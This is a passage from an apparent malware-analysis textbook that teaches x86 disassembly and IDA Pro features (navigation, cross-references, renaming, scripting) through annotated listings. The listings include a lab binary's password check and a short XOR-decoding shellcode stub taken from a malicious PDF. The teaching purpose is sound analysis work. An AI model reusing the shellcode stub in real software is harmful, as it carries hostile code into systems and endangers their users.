relative to argv and provided as an argument to the DeleteFileA function.
004113CE cmp [ebp+argc], 3
004113D2 jz short loc_4113D8
004113D4 xor eax, eax
004113D6 jmp short loc_411414
004113D8 mov esi, esp
004113DA push 2 ; MaxCount
004113DC push offset Str2 ; "-r"
004113E1 mov eax, [ebp+argv]
004113E4 mov ecx, [eax+4]
004113E7 push ecx ; Str1
004113E8 call strncmp
004113F8 test eax, eax
004113FA jnz short loc_411412
004113FC mov esi, esp
004113FE mov eax, [ebp+argv]
00411401 mov ecx, [eax+8]
00411404 push ecx ; lpFileName
00411405 call DeleteFileA
Listing 4-2: Assembly code, C main method parameters
A Crash Course in x86 Disassembly
85
More Information: Intel x86 Architecture Manuals
What if you encounter an instruction you have never seen before? If you
can’t find your answer with a Google search, you can download the complete
x86 architecture manuals from Intel at http://www.intel.com/products/processor/
manuals/index.htm. This set includes the following:
Volume 1: Basic Architecture
This manual describes the architecture and programming environment.
It is useful for helping you understand how memory works, including
registers, memory layout, addressing, and the stack. This manual also
contains details about general instruction groups.
Volume 2A: Instruction Set Reference, A–M, and Volume 2B: Instruction Set Refer-
ence, N–Z
These are the most useful manuals for the malware analyst. They alpha-
betize the entire instruction set and discuss every aspect of each instruc-
tion, including the format of the instruction, opcode information, and
how the instruction impacts the system.
Volume 3A: System Programming Guide, Part 1, and Volume 3B: System Program-
ming Guide, Part 2
In addition to general-purpose registers, x86 has many special-purpose
registers and instructions that impact execution and support the OS,
including debugging, memory management, protection, task manage-
ment, interrupt and exception handling, multiprocessor support, and
more. If you encounter special-purpose registers, refer to the System
Programming Guide to see how they impact execution.
Optimization Reference Manual
This manual describes code-optimization techniques for applications.
It offers additional insight into the code generated by compilers and
has many good examples of how instructions can be used in unconven-
tional ways.
Conclusion
A working knowledge of assembly and the disassembly process is key to
becoming a successful malware analyst. This chapter has laid the foundation
for important x86 concepts that you will encounter when disassembling mal-
ware. Use it as a reference if you encounter unfamiliar instructions or regis-
ters while performing analysis throughout the book.
Chapter 6 builds on this chapter to give you a well-rounded assembly
foundation. But the only real way to get good at disassembly is to practice. In
the next chapter, we’ll take a look at IDA Pro, a tool that will greatly aid your
analysis of disassembly.
I D A P R O
The Interactive Disassembler Professional (IDA Pro) is
an extremely powerful disassembler distributed by Hex-
Rays. Although IDA Pro is not the only disassembler,
it is the disassembler of choice for many malware ana-
lysts, reverse engineers, and vulnerability analysts.
Two versions of IDA Pro are commercially available. While both versions
support x86, the advanced version supports many more processors than the
standard version, most notably x64. IDA Pro also supports several file formats,
such as Portable Executable (PE), Common Object File Format (COFF),
Executable and Linking Format (ELF), and a.out. We’ll focus our discussion
on the x86 and x64 architectures and the PE file format.
Throughout this book, we cover the commercial version of IDA Pro. You
can download a free version of IDA Pro, IDA Pro Free, from http://www.hex-rays
.com/idapro/idadownfreeware.htm, but this version has limited functionality
and, as of this writing, is “stuck” on version 5.0. Do not use IDA Pro Free for
serious disassembly, but do consider trying it if you would like to play with IDA.
IDA Pro will disassemble an entire program and perform tasks such as
function discovery, stack analysis, local variable identification, and much
88
Chapter 5
more. In this chapter, we will discuss how these tasks bring you closer to
the source code. IDA Pro includes extensive code signatures within its Fast
Library Identification and Recognition Technology (FLIRT), which allows it
to recognize and label a disassembled function, especially library code added
by a compiler.
IDA Pro is meant to be interactive, and all aspects of its disassembly pro-
cess can be modified, manipulated, rearranged, or redefined. One of the
best aspects of IDA Pro is its ability to save your analysis progress: You can
add comments, label data, and name functions, and then save your work in
an IDA Pro database (known as an idb) to return to later. IDA Pro also has
robust support for plug-ins, so you can write your own extensions or leverage
the work of others.
This chapter will give you a solid introduction to using IDA Pro for mal-
ware analysis. To dig deeper into IDA Pro, Chris Eagle’s The IDA Pro Book: The
Unofficial Guide to the World’s Most Popular Disassembler, 2nd Edition (No Starch
Press, 2011) is considered the best available resource. It makes a great desk-
top reference for both IDA Pro and reversing in general.
Loading an Executable
Figure 5-1 displays the first step in loading an executable into IDA Pro. When
you load an executable, IDA Pro will try to recognize the file’s format and
processor architecture. In this example, the file is recognized as having the
PE format with Intel x86 architecture . Unless you are performing mal-
ware analysis on cell phone malware, you probably won’t need to modify the
processor type too often. (Cell phone malware is often created on various
platforms.)
When loading a file into IDA Pro (such as a PE file), the program maps
the file into memory as if it had been loaded by the operating system loader.
To have IDA Pro disassemble the file as a raw binary, choose the Binary File
option in the top box, as shown at . This option can prove useful because
malware sometimes appends shellcode, additional data, encryption parame-
ters, and even additional executables to legitimate PE files, and this extra data
won’t be loaded into memory when the malware is run by Windows or loaded
into IDA Pro. In addition, when you are loading a raw binary file containing
shellcode, you should choose to load the file as a binary file and disassemble it.
PE files are compiled to load at a preferred base address in memory, and if
the Windows loader can’t load it at its preferred address (because the address
is already taken), the loader will perform an operation known as rebasing. This
most often happens with DLLs, since they are often loaded at locations that
differ from their preferred address. We cover rebasing in depth in Chapter 9.
For now, you should know that if you encounter a DLL loaded into a process
different from what you see in IDA Pro, it could be the result of the file being
rebased. When this occurs, check the Manual Load checkbox shown at in
Figure 5-1, and you’ll see an input box where you can specify the new virtual
base address in which to load the file.
IDA Pro
89
Figure 5-1: Loading a file in IDA Pro
By default, IDA Pro does not include the PE header or the resource sec-
tions in its disassembly (places where malware often hides malicious code). If
you specify a manual load, IDA Pro will ask if you want to load each section,
one by one, including the PE file header, so that these sections won’t escape
analysis.
The IDA Pro Interface
After you load a program into IDA Pro, you will see the disassembly window,
as shown in Figure 5-2. This will be your primary space for manipulating and
analyzing binaries, and it’s where the assembly code resides.
Disassembly Window Modes
You can display the disassembly window in one of two modes: graph (the
default, shown in Figure 5-2) and text. To switch between modes, press the
spacebar.
Graph Mode
In graph mode, IDA Pro excludes certain information that we recommend
you display, such as line numbers and operation codes. To change these
options, select OptionsGeneral, and then select Line prefixes and set the
Number of Opcode Bytes to 6. Because most instructions contain 6 or fewer
bytes, this setting will allow you to see the memory locations and opcode val-
ues for each instruction in the code listing. (If these settings make everything
scroll off the screen to the right, try setting the Instruction Indentation to 8.)
90
Chapter 5
Figure 5-2: Graph mode of the IDA Pro disassembly window
In graph mode, the color and direction of the arrows help show the pro-
gram’s flow during analysis. The arrow’s color tells you whether the path is
based on a particular decision having been made: red if a conditional jump is
not taken, green if the jump is taken, and blue for an unconditional jump.
The arrow direction shows the program’s flow; upward arrows typically denote
a loop situation. Highlighting text in graph mode highlights every instance
of that text in the disassembly window.
Text Mode
The text mode of the disassembly window is a more traditional view, and you
must use it to view data regions of a binary. Figure 5-3 displays the text mode
view of a disassembled function. It displays the memory address (0040105B)
and section name (.text) in which the opcodes (83EC18) will reside in
memory .
The left portion of the text-mode display is known as the arrows win-
dow and shows the program’s nonlinear flow. Solid lines mark uncondi-
tional jumps, and dashed lines mark conditional jumps. Arrows facing up
indicate a loop. The example includes the stack layout for the function at
and a comment (beginning with a semicolon) that was automatically added
by IDA Pro .
NOTE
If you are still learning assembly code, you should find the auto comments feature of
IDA Pro useful. To turn on this feature, select OptionsGeneral, and then check the
Auto comments checkbox. This adds additional comments throughout the disassembly
window to aid your analysis.
IDA Pro
91
Figure 5-3: Text mode of IDA Pro’s disassembly window
Useful Windows for Analysis
Several other IDA Pro windows highlight particular items in an executable.
The following are the most significant for our purposes.
Functions window
Lists all functions in the executable and shows the
length of each. You can sort by function length and filter for large, com-
plicated functions that are likely to be interesting, while excluding tiny
functions in the process. This window also associates flags with each func-
tion (F, L, S, and so on), the most useful of which, L, indicates library
functions. The L flag can save you time during analysis, because you can
identify and skip these compiler-generated functions.
Names window
Lists every address with a name, including functions,
named code, named data, and strings.
Strings window
Shows all strings. By default, this list shows only ASCII
strings longer than five characters. You can change this by right-clicking
in the Strings window and selecting Setup.
Imports window
Lists all imports for a file.
Exports window
Lists all the exported functions for a file. This window
is useful when you’re analyzing DLLs.
92
Chapter 5
Structures window
Lists the layout of all active data structures. The win-
dow also provides you the ability to create your own data structures for
use as memory layout templates.
These windows also offer a cross-reference feature that is particularly
useful in locating interesting code. For example, to find all code locations
that call an imported function, you could use the import window, double-
click the imported function of interest, and then use the cross-reference
feature to locate the import call in the code listing.
Returning to the Default View
The IDA Pro interface is so rich that, after pressing a few keys or clicking
something, you may find it impossible to navigate. To return to the default
view, choose WindowsReset Desktop. Choosing this option won’t undo
any labeling or disassembly you’ve done; it will simply restore any windows
and GUI elements to their defaults.
By the same token, if you’ve modified the window and you like what you
see, you can save the new view by selecting WindowsSave desktop.
Navigating IDA Pro
As we just noted, IDA Pro can be tricky to navigate. Many windows are linked
to the disassembly window. For example, double-clicking an entry within the
Imports window or Strings window will take you directly to that entry.
Using Links and Cross-References
Another way to navigate IDA Pro is to use the links within the disassembly
window, such as the links shown in Listing 5-1. Double-clicking any of these
links will display the target location in the disassembly window.
00401075 jnz short loc_40107E
00401077 mov [ebp+var_10], 1
0040107E loc_40107E: ; CODE XREF: sub_401040+35j
0040107E cmp [ebp+var_C], 0
00401082 jnz short loc_401097
00401084 mov eax, [ebp+var_4]
00401087 mov [esp+18h+var_14], eax
0040108B mov [esp+18h+var_18], offset aPrintNumberD ; "Print Number= %d\n"
00401092 call printf
00401097 call sub_4010A0
Listing 5-1: Navigational links within the disassembly window
IDA Pro
93
The following are the most common types of links:
Sub links are links to the start of functions such as printf and sub_4010A0.
Loc links are links to jump destinations such as loc_40107E and loc_401097.
Offset links are links to an offset in memory.
Cross-references (shown at in the listing) are useful for jumping
the display to the referencing location: 0x401075 in this example. Because
strings are typically references, they are also navigational links. For example,
aPrintNumberD can be used to jump the display to where that string is defined
in memory.
Exploring Your History
Navigation Band
The horizontal color band at the base of the toolbar is the navigation band,
which presents a color-coded linear view of the loaded binary’s address
space. The colors offer insight into the file contents at that location in the
file as follows:
Light blue is library code as recognized by FLIRT.
Red is compiler-generated code.
Dark blue is user-written code.
You should perform malware analysis in the dark-blue region. If you start
getting lost in messy code, the navigational band can help you get back on
track. IDA Pro’s default colors for data are pink for imports, gray for defined
data, and brown for undefined data.
NOTE
If you have an older version of IDA Pro, your FLIRT signatures may not be up to date
and you can end up with a lot of library code in the dark-blue region. FLIRT isn’t per-
fect, and sometimes it won’t recognize and label all library code properly.
Jump to Location
To jump to any virtual memory address, simply press the G key on your key-
board while in the disassembly window. A dialog box appears, asking for a
virtual memory address or named location, such as sub_401730 or printf.
IDA Pro’s forward and back buttons, shown in
Figure 5-4, make it easy to move through your
history, just as you would move through a his-
tory of web pages in a browser. Each time you
navigate to a new location within the dis-
assembly window, that location is added to
your history.
Figure 5-4: Navigational
buttons
94
Chapter 5
To jump to a raw file offset, choose JumpJump to File Offset. For
example, if you’re viewing a PE file in a hex editor and you see something
interesting, such as a string or shellcode, you can use this feature to get to
that raw offset, because when the file is loaded into IDA Pro, it will be mapped
as though it had been loaded by the OS loader.
Searching
Selecting Search from the top menu will display many options for moving
the cursor in the disassembly window:
Choose SearchNext Code to move the cursor to the next location con-
taining an instruction you specify.
Choose SearchText to search the entire disassembly window for a spe-
cific string.
Choose SearchSequence of Bytes to perform a binary search in the
hex view window for a certain byte order. This option can be useful when
you’re searching for specific data or opcode combinations.
The following example displays the command-line analysis of the
password.exe binary. This malware requires a password to continue running,
and you can see that it prints the string Bad key after we enter an invalid
password (test).
C:\>password.exe
Enter password for this Malware: test
Bad key
We then pull this binary into IDA Pro and see how we can use the search
feature and links to unlock the program. We begin by searching for all occur-
rences of the Bad key string, as shown in Figure 5-5. We notice that Bad key is
used at 0x401104 , so we jump to that location in the disassembly window
by double-clicking the entry in the search window.
Figure 5-5: Searching example
The disassembly listing around the location of 0x401104 is shown
next. Looking through the listing, before "Bad key\n", we see a comparison
at 0x4010F1, which tests the result of a strcmp. One of the parameters to the
strcmp is the string, and likely password, $mab.
IDA Pro
95
004010E0 push offset aMab ; "$mab"
004010E5 lea ecx, [ebp+var_1C]
004010E8 push ecx
004010E9 call strcmp
004010EE add esp, 8
004010F1 test eax, eax
004010F3 jnz short loc_401104
004010F5 push offset aKeyAccepted ; "Key Accepted!\n"
004010FA call printf
004010FF add esp, 4
00401102 jmp short loc_401118
00401104 loc_401104 ; CODE XREF: _main+53j
00401104 push offset aBadKey ; "Bad key\n"
00401109 call printf
The next example shows the result of entering the password we discov-
ered, $mab, and the program prints a different result.
C:\>password.exe
Enter password for this Malware: $mab
Key Accepted!
The malware has been unlocked
This example demonstrates how quickly you can use the search feature
and links to get information about a binary.
Using Cross-References
A cross-reference, known as an xref in IDA Pro, can tell you where a function
is called or where a string is used. If you identify a useful function and want
to know the parameters with which it is called, you can use a cross-reference to
navigate quickly to the location where the parameters are placed on the stack.
Interesting graphs can also be generated based on cross-references, which
are helpful to performing analysis.
Code Cross-References
Listing 5-2 shows a code cross-reference at that tells us that this function
(sub_401000) is called from inside the main function at offset 0x3 into the
main function. The code cross-reference for the jump at tells us which
jump takes us to this location, which in this example corresponds to the
location marked at . We know this because at offset 0x19 into sub_401000 is
the jmp at memory address 0x401019.
00401000 sub_401000 proc near ; CODE XREF: _main+3p
00401000 push ebp
00401001 mov ebp, esp
00401003 loc_401003:
; CODE XREF: sub_401000+19j
00401003 mov eax, 1
96
Chapter 5
00401008 test eax, eax
0040100A jz short loc_40101B
0040100C push offset aLoop ; "Loop\n"
00401011 call printf
00401016 add esp, 4
00401019 jmp short loc_401003
Listing 5-2: Code cross-references
By default, IDA Pro shows only a couple of cross-references for any given
function, even though many may occur when a function is called. To view all
the cross-references for a function, click the function name and press X on
your keyboard. The window that pops up should list all locations where this
function is called. At the bottom of the Xrefs window in Figure 5-6, which
shows a list of cross-references for sub_408980, you can see that this function
is called 64 times (“Line 1 of 64”).
Figure 5-6: Xrefs window
Double-click any entry in the Xrefs window to go to the corresponding
reference in the disassembly window.
Data Cross-References
Data cross-references are used to track the way data is accessed within a
binary. Data references can be associated with any byte of data that is refer-
enced in code via a memory reference, as shown in Listing 5-3. For example,
you can see the data cross-reference to the DWORD 0x7F000001 at . The cor-
responding cross-reference tells us that this data is used in the function
located at 0x401020. The following line shows a data cross-reference for the
string .
0040C000 dword_40C000 dd 7F000001h ; DATA XREF: sub_401020+14r
0040C004 aHostnamePort db ' ',0Ah,0 ; DATA XREF: sub_401000+3o
Listing 5-3: Data cross-references
IDA Pro
97
Recall from Chapter 1 that the static analysis of strings can often be used
as a starting point for your analysis. If you see an interesting string, use IDA
Pro’s cross-reference feature to see exactly where and how that string is used
within the code.
Analyzing Functions
One of the most powerful aspects of IDA Pro is its ability to recognize
functions, label them, and break down the local variables and parameters.
Listing 5-4 shows an example of a function that has been recognized by
IDA Pro.
00401020 ; =============== S U B R O U T I N E=============================
00401020
00401020 ; Attributes: ebp-based frame
00401020
00401020 function proc near ; CODE XREF: _main+1Cp
00401020
00401020 var_C = dword ptr -0Ch
00401020 var_8 = dword ptr -8
00401020 var_4 = dword ptr -4
00401020 arg_0 = dword ptr 8
00401020 arg_4 = dword ptr 0Ch
00401020
00401020 push ebp
00401021 mov ebp, esp
00401023 sub esp, 0Ch
00401026 mov [ebp+var_8], 5
0040102D mov [ebp+var_C], 3
00401034 mov eax, [ebp+var_8]
00401037 add eax, 22h
0040103A mov [ebp+arg_0], eax
0040103D cmp [ebp+arg_0], 64h
00401041 jnz short loc_40104B
00401043 mov ecx, [ebp+arg_4]
00401046 mov [ebp+var_4], ecx
00401049 jmp short loc_401050
0040104B loc_40104B: ; CODE XREF: function+21j
0040104B call sub_401000
00401050 loc_401050: ; CODE XREF: function+29j
00401050 mov eax, [ebp+arg_4]
00401053 mov esp, ebp
00401055 pop ebp
00401056 retn
00401056 function endp
Listing 5-4: Function and stack example
Notice how IDA Pro tells us that this is an EBP-based stack frame used in
the function , which means the local variables and parameters will be refer-
enced via the EBP register throughout the function. IDA Pro has successfully
discovered all local variables and parameters in this function. It has labeled
98
Chapter 5
the local variables with the prefix var_ and parameters with the prefix arg_,
and named the local variables and parameters with a suffix corresponding to
their offset relative to EBP. IDA Pro will label only the local variables and
parameters that are used in the code, and there is no way for you to know
automatically if it has found everything from the original source code.
Recall from our discussion in Chapter 4 that local variables will be at
a negative offset relative to EBP and arguments will be at a positive offset.
You can see at that IDA Pro has supplied the start of the summary of the
stack view. The first line of this summary tells us that var_C corresponds to
the value -0xCh. This is IDA Pro’s way of telling us that it has substituted
var_C for -0xC at ; it has abstracted an instruction. For example, instead
of needing to read the instruction as mov [ebp-0Ch], 3, we can simply read it
as “var_C is now set to 3” and continue with our analysis. This abstraction
makes reading the disassembly more efficient.
Sometimes IDA Pro will fail to identify a function. If this happens, you can
create a function by pressing P. It may also fail to identify EBP-based stack
frames, and the instructions mov [ebp-0Ch], eax and push dword ptr [ebp-010h]
might appear instead of the convenient labeling. In most cases, you can fix
this by pressing ALT-P, selecting BP Based Frame, and specifying 4 bytes for
Saved Registers.
Using Graphing Options
When you click one of these buttons on the toolbar, you will be presented
with a graph via an application called WinGraph32. Unlike the graph view
of the disassembly window, these graphs cannot be manipulated with IDA.
(They are often referred to as legacy graphs.) The options on the graphing
button toolbar are described in Table 5-1.
IDA Pro supports five graphing options, accessi-
ble from the buttons on the toolbar shown in
Figure 5-7. Four of these graphing options utilize
cross-references.
Figure 5-7: Graphing
button toolbar
Table 5-1: Graphing Options
Button
Function
Description
Creates a flow chart
of the current function
Users will prefer to use the interactive graph mode of the
disassembly window but may use this button at times to see
an alternate graph view. (We’ll use this option to graph code
in Chapter 6.)
Graphs function calls
for the entire program
Use this to gain a quick understanding of the hierarchy of
function calls made within a program, as shown in Figure 5-8.
To dig deeper, use WinGraph32’s zoom feature. You will
find that graphs of large statically linked executables can
become so cluttered that the graph is unusable.
Graphs the cross-
references to get to a
currently selected
cross-reference
This is useful for seeing how to reach a certain identifier. It’s
also useful for functions, because it can help you see the
different paths that a program can take to reach a particular
function.
IDA Pro
99
Figure 5-8: Cross-reference graph of a program
Figure 5-9: Cross-reference graph of a single function (sub_4011F0)
Graphs the cross-
references from the
currently selected
symbol
This is a useful way to see a series of function calls. For
example, Figure 5-9 displays this type of graph for a single
function. Notice how sub_4011f0 calls sub_401110, which then
calls gethostbyname. This view can quickly tell you what a
function does and what the functions do underneath it. This is
the easiest way to get a quick overview of the function.
Graphs a user-
specified cross-
reference graph
Use this option to build a custom graph. You can specify the
graph’s recursive depth, the symbols used, the to or from
symbol, and the types of nodes to exclude from the graph.
This is the only way to modify graphs generated by IDA Pro
for display in WinGraph32.
Table 5-1: Graphing Options (continued)
Button
Function
Description
100
Chapter 5
Enhancing Disassembly
One of IDA Pro’s best features is that it allows you to modify its disassembly
to suit your goals. The changes that you make can greatly increase the speed
with which you can analyze a binary.
WARNING
IDA Pro has no undo feature, so be careful when you make changes.
Renaming Locations
IDA Pro does a good job of automatically naming virtual address and stack
variables, but you can also modify these names to make them more meaning-
ful. Auto-generated names (also known as dummy names) such as sub_401000
don’t tell you much; a function named ReverseBackdoorThread would be a lot
more useful. You should rename these dummy names to something more
meaningful. This will also help ensure that you reverse-engineer a function
only once. When renaming dummy names, you need to do so in only one
place. IDA Pro will propagate the new name wherever that item is referenced.
After you’ve renamed a dummy name to something more meaningful,
cross-references will become much easier to parse. For example, if a function
sub_401200 is called many times throughout a program and you rename it to
DNSrequest, it will be renamed DNSrequest throughout the program. Imagine
how much time this will save you during analysis, when you can read the
meaningful name instead of needing to reverse the function again or to
remember what sub_401200 does.
Table 5-2 shows an example of how we might rename local variables and
arguments. The left column contains an assembly listing with no arguments
renamed, and the right column shows the listing with the arguments renamed.
We can actually glean some information from the column on the right. Here,
we have renamed arg_4 to port_str and var_598 to port. You can see that these
renamed elements are much more meaningful than their dummy names.
Comments
IDA Pro lets you embed comments throughout your disassembly and adds
many comments automatically.
To add your own comments, place the cursor on a line of disassembly
and press the colon (:) key on your keyboard to bring up a comment win-
dow. To insert a repeatable comment to be echoed across the disassembly
window whenever there is a cross-reference to the address in which you
added the comment, press the semicolon (;) key.
Formatting Operands
When disassembling, IDA Pro makes decisions regarding how to format
operands for each instruction that it disassembles. Unless there is context,
the data displayed is typically formatted as hex values. IDA Pro allows you to
change this data if needed to make it more understandable.
IDA Pro
101
Figure 5-10 shows an example of modifying operands in an instruction,
where 62h is compared to the local variable var_4. If you were to right-click
62h, you would be presented with options to change the 62h into 98 in deci-
mal, 142o in octal, 1100010b in binary, or the character b in ASCII—whatever
suits your needs and your situation.
Figure 5-10: Function operand manipulation
To change whether an operand references memory or stays as data, press
the O key on your keyboard. For example, suppose when you’re analyzing
disassembly with a link to loc_410000, you trace the link back and see the fol-
lowing instructions:
mov eax, loc_410000
add ebx, eax
mul ebx
At the assembly level, everything is a number, but IDA Pro has mislabeled
the number 4259840 (0x410000 in hex) as a reference to the address 410000.
To correct this mistake, press the O key to change this address to the number
410000h and remove the offending cross-reference from the disassembly
window.
Table 5-2: Function Operand Manipulation
Without renamed arguments
With renamed arguments
004013C8 mov eax, [ebp+arg_4]
004013CB push eax
004013CC call _atoi
004013D1 add esp, 4
004013D4 mov [ebp+var_598], ax
004013DB movzx ecx, [ebp+var_598]
004013E2 test ecx, ecx
004013E4 jnz short loc_4013F8
004013E6 push offset aError
004013EB call printf
004013F0 add esp, 4
004013F3 jmp loc_4016FB
004013F8 ; ----------------------
004013F8
004013F8 loc_4013F8:
004013F8 movzx edx, [ebp+var_598]
004013FF push edx
00401400 call ds:htons
004013C8 mov eax, [ebp+port_str]
004013CB push eax
004013CC call _atoi
004013D1 add esp, 4
004013D4 mov [ebp+port], ax
004013DB movzx ecx, [ebp+port]
004013E2 test ecx, ecx
004013E4 jnz short loc_4013F8
004013E6 push offset aError
004013EB call printf
004013F0 add esp, 4
004013F3 jmp loc_4016FB
004013F8 ; --------------------
004013F8
004013F8 loc_4013F8:
004013F8 movzx edx, [ebp+port]
004013FF push edx
00401400 call ds:htons
102
Chapter 5
Using Named Constants
Malware authors (and programmers in general) often use named constants
such as GENERIC_READ in their source code. Named constants provide an easily
remembered name for the programmer, but they are implemented as an
integer in the binary. Unfortunately, once the compiler is done with the
source code, it is no longer possible to determine whether the source used
a symbolic constant or a literal.
Fortunately, IDA Pro provides a large catalog of named constants for the
Windows API and the C standard library, and you can use the Use Standard
Symbolic Constant option (shown in Figure 5-10) on an operand in your dis-
assembly. Figure 5-11 shows the window that appears when you select Use
Standard Symbolic Constant on the value 0x800000000.
Figure 5-11: Standard symbolic constant window
The code snippets in Table 5-3 show the effect of applying the standard
symbolic constants for a Windows API call to CreateFileA. Note how much
more meaningful the code is on the right.
NOTE
To determine which value to choose from the often extensive list provided in the stan-
dard symbolic constant window, you will need to go to the MSDN page for the Windows
API call. There you will see the symbolic constants that are associated with each param-
eter. We will discuss this further in Chapter 7, when we discuss Windows concepts.
Sometimes a particular standard symbolic constant that you want will
not appear, and you will need to load the relevant type library manually. To
do so, select ViewOpen SubviewsType Libraries to view the currently
loaded libraries. Normally, mssdk and vc6win will automatically be loaded, but
if not, you can load them manually (as is often necessary with malware that
uses the Native API, the Windows NT family API). To get the symbolic con-
stants for the Native API, load ntapi (the Microsoft Windows NT 4.0 Native
API). In the same vein, when analyzing a Linux binary, you may need to man-
ually load the gnuunx (GNU C++ UNIX) libraries.
IDA Pro
103
Redefining Code and Data
When IDA Pro performs its initial disassembly of a program, bytes are occa-
sionally categorized incorrectly; code may be defined as data, data defined as
code, and so on. The most common way to redefine code in the disassembly
window is to press the U key to undefine functions, code, or data. When you
undefine code, the underlying bytes will be reformatted as a list of raw bytes.
To define the raw bytes as code, press C. For example, Table 5-4 shows a
malicious PDF document named paycuts.pdf. At offset 0x8387 into the file, we
discover shellcode (defined as raw bytes) at , so we press C at that location.
This disassembles the shellcode and allows us to discover that it contains an
XOR decoding loop with 0x97 at .
Depending on your goals, you can similarly define raw bytes as data or
ASCII strings by pressing D or A, respectively.
Extending IDA with Plug-ins
Table 5-3: Code Before and After Standard Symbolic Constants
Before symbolic constants
After symbolic constants
mov esi, [esp+1Ch+argv]
mov edx, [esi+4]
mov edi, ds:CreateFileA
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 1 ; dwShareMode
push 80000000h ; dwDesiredAccess
push edx ; lpFileName
call edi ; CreateFileA
mov esi, [esp+1Ch+argv]
mov edx, [esi+4]
mov edi, ds:CreateFileA
push NULL ; hTemplateFile
push FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
push OPEN_EXISTING
; dwCreationDisposition
push NULL
; lpSecurityAttributes
push FILE_SHARE_READ
; dwShareMode
push GENERIC_READ
; dwDesiredAccess
push edx ; lpFileName
call edi ; CreateFileA
You can extend the functionality of IDA Pro in sev-
eral ways, typically via its scripting facilities. Poten-
tial uses for scripts are infinite and can range from
simple code markup to complicated functionality
such as performing difference comparisons
between IDA Pro database files.
Here, we’ll give you a taste of the two most
popular ways of scripting using IDC and Python
scripts. IDC and Python scripts can be run easily as
files by choosing FileScript File or as individual
commands by selecting FileIDC Command or
FilePython Command, as shown in Figure 5-12.
The output window at the bottom of the work-
space contains a log view that is extensively used by
plug-ins for debugging and status messages.
Figure 5-12: Options for
loading IDC and Python
Scripts
104
Chapter 5
Using IDC Scripts
IDA Pro has had a built-in scripting language known as IDC that predates
the widespread popularity of scripting languages such as Python and Ruby.
The IDC subdirectory within the IDA installation directory contains several
sample IDC scripts that IDA Pro uses to analyze disassembled texts. Refer to
these programs if you want to learn IDC.
IDC scripts are programs made up of functions, with all functions
declared as static. Arguments don’t need the type specified, and auto is
used to define local variables. IDC has many built-in functions, as described
in the IDA Pro help index or the idc.idc file typically included with scripts
that use the built-in functions.
In Chapter 1, we discussed the PEiD tool and its plug-in Krypto ANALyzer
(KANAL), which can export an IDC script. The IDC script sets bookmarks and
comments in the IDA Pro database for a given binary, as shown in Listing 5-5.
Table 5-4: Manually Disassembling Shellcode in the paycuts.pdf Document
File before pressing C
File after pressing C
00008384 db 28h ; (
00008385 db 0FCh ; n
00008386 db 10h
00008387 db 90h ; É
00008388 db 90h ; É
00008389 db 8Bh ; ï
0000838A db 0D8h ; +
0000838B db 83h ; â
0000838C db 0C3h ; +
0000838D db 28h ; (
0000838E db 83h ; â
0000838F db 3
00008390 db 1Bh
00008391 db 8Bh ; ï
00008392 db 1Bh
00008393 db 33h ; 3
00008394 db 0C9h ; +
00008395 db 80h ; Ç
00008396 db 33h ; 3
00008397 db 97h ; ù
00008398 db 43h ; C
00008399 db 41h ; A
0000839A db 81h ; ü
0000839B db 0F9h ; ·
0000839C db 0
0000839D db 7
0000839E db 0
0000839F db 0
000083A0 db 75h ; u
000083A1 db 0F3h ; =
000083A2 db 0C2h ; -
000083A3 db 1Ch
000083A4 db 7Bh ; {
000083A5 db 16h
000083A6 db 7Bh ; {
000083A7 db 8Fh ; Å
00008384 db 28h ; (
00008385 db 0FCh ; n
00008386 db 10h
00008387 nop
00008388 nop
00008389 mov ebx, eax
0000838B add ebx, 28h ; '('
0000838E add dword ptr [ebx], 1Bh
00008391 mov ebx, [ebx]
00008393 xor ecx, ecx
00008395
00008395 loc_8395: ; CODE XREF: seg000:000083A0j
00008395 xor byte ptr [ebx], 97h
00008398 inc ebx
00008399 inc ecx
0000839A cmp ecx, 700h
000083A0 jnz short loc_8395
000083A2 retn 7B1Ch
000083A2 ; ----------------------------------000083A5 db 16h
000083A6 db 7Bh ; {
000083A7 db 8Fh ; Å
IDA Pro
105
#include
static main(void){
auto slotidx;
slotidx = 1;
MarkPosition(0x00403108, 0, 0, 0, slotidx + 0, "RIJNDAEL [S] [char]");
MakeComm(PrevNotTail(0x00403109), "RIJNDAEL [S] [char]\nRIJNDAEL (AES):
SBOX (also used in other ciphers).");
MarkPosition(0x00403208, 0, 0, 0, slotidx + 1, "RIJNDAEL [S-inv] [char]");
MakeComm(PrevNotTail(0x00403209), "RIJNDAEL [S-inv] [char]\nRIJNDAEL (AES):
inverse SBOX (for decryption)");
}
Listing 5-5: IDC script generated by the PEiD KANAL plug-in
To load an IDC script, select FileScript File. The IDC script should be
executed immediately, and a toolbar window should open with one button
for editing and another for re-executing the script if needed.
Using IDAPython
IDAPython is fully integrated into the current version of IDA Pro, bringing
the power and convenience of Python scripting to binary analysis. IDAPython
exposes a significant portion of IDA Pro’s SDK functionality, allowing for far
more powerful scripting than offered with IDC. IDAPython has three mod-
ules that provide access to the IDA API (idaapi), IDC interface (idc), and
IDAPython utility functions (idautils).
IDAPython scripts are programs that use an effective address (EA) to per-
form the primary method of referencing. There are no abstract data types,
and most calls take either an EA or a symbol name string. IDAPython has
many wrapper functions around the core IDC functions.
Listing 5-6 shows a sample IDAPython script. The goal of this script is to
color-code all call instructions in an idb to make them stand out more to the
analyst. For example, ScreenEA is a common function that gets the location of
the cursor. Heads is a function that will be used to walk through the defined
elements, which is each instruction in this case. Once we’ve collected all of
the function calls in functionCalls, we iterate through those instructions and
use SetColor to set the color.
from idautils import *
from idc import *
heads = Heads(SegStart(ScreenEA()), SegEnd(ScreenEA()))
functionCalls = []
for i in heads:
if GetMnem(i) == "call":
functionCalls.append(i)
106
Chapter 5
print "Number of calls found: %d" % (len(functionCalls))
for i in functionCalls:
SetColor(i, CIC_ITEM, 0xc7fdff)
Listing 5-6: Useful Python script to color all function calls
Using Commercial Plug-ins
After you have gained solid experience with IDA Pro, you should consider
purchasing a few commercial plug-ins, such as the Hex-Rays Decompiler and
zynamics BinDiff. The Hex-Rays Decompiler is a useful plug-in that converts
IDA Pro disassembly into a human-readable, C-like pseudocode text. Read-
ing C-like code instead of disassembly can often speed up your analysis because
it gets you closer to the original source code the malware author wrote.
zynamics BinDiff is a useful tool for comparing two IDA Pro databases. It
allows you to pinpoint differences between malware variants, including new
functions and differences between similar functions. One of its features is the
ability to provide a similarity rating when you’re comparing two pieces of mal-
ware. We describe these IDA Pro extensions more extensively in Appendix B.
Conclusion
